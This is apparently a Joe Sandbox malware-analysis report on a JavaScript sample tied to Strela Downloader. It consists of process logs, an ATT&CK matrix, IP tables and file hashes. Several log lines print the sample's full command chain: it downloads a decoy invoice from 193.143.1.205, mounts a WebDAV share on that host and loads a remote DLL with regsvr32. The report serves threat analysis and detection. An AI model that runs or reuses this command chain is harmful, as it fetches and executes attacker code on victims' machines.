Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3539			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6343			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5844	Thread sleep count: 3539 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5844	Thread sleep count: 6343 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5980	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5996	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1076	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3104	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000009.00000002.1492677988.000001BF29528000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000009.00000002.1492832421.000001BF2958A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1492142421.000001BF2958A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2681453355.000001DD75A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2683505760.000001DD7B054000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
281511335289626058.js	3%	Virustotal		Browse
281511335289626058.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/space	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/P.	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/H.	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000001.00000003.1412420644.000001611F9C9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000B.00000002.2683233644.000001DD7B000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.10.dr	false		high
https://www.adobe.co	ReaderMessages.7.dr	false		high
http://193.143.1.205:8888/P.	net.exe, 00000009.00000002.1492726356.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1492198971.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod-C:	edb.log.11.dr, qmgr.db.11.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000009.00000002.1492677988.000001BF29528000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000002.1492726356.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1492142421.000001BF2957E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1492198971.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000002.1492832421.000001BF29580000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/space	net.exe, 00000009.00000002.1492677988.000001BF29528000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 0000000B.00000003.1501990113.000001DD7AE20000.00000004.00000800.00020000.00000000.sdmp, edb.log.11.dr, qmgr.db.11.dr	false		high
http://193.143.1.205:8888/H.	net.exe, 00000009.00000002.1492726356.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000009.00000003.1492198971.000001BF2955D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587767
Start date and time:	2025-01-10 17:50:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	281511335289626058.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 2.23.240.205, 162.159.61.3, 172.64.41.3, 3.219.243.226, 52.22.41.97, 3.233.129.217, 52.6.155.20, 2.23.242.162, 2.23.197.184, 2.16.168.105, 2.16.168.107, 23.204.152.210, 23.204.152.213, 192.168.2.10, 13.107.246.45, 4.175.87.197, 104.78.188.188, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, azureedge-t-prod.trafficmanager.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:51:30	API Interceptor	28x Sleep call for process: powershell.exe modified
11:51:34	API Interceptor	1x Sleep call for process: net.exe modified
11:51:35	API Interceptor	2x Sleep call for process: svchost.exe modified
11:51:43	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	270782763316448754.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2572722545251923438.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31202109622954930860.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12662108703247616042.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6164687600716519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	124651728043662978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1923918274137833386.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8807414461931684
Encrypted:	false
SSDEEP:	1536:0JVRkX56mk0alaS0aHH0anjJ8PUWJ81s5J8RMvCxwtYD0pQoltqNeveEQYQ1aG9k:0J7adfWuK0p/QDfKoPeuP0aN4fqoxr
MD5:	084299D403E59BB37EF46C3BCDB9DAD9
SHA1:	4ABDEF081C5DE8ADCA6448374DD7DDD2C4A5FB7B
SHA-256:	B6970C24EFB525826C1F7D87673C8CCDCE00A81B95A8E8715CD4C76FA8A85B58
SHA-512:	EF991C841A181FF5A9B5EDE035C15B7014B475CC962516CA5B29472EF0EFDF7E45D43E1D37D918EA8217D31A02BE76CE3BAFFF76E2D759466CD3F73C692B4DFE
Malicious:	false
Preview:	2.e.........@..@12...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................K<...kS..#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x9f3bed0e, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.788076894939253
Encrypted:	false
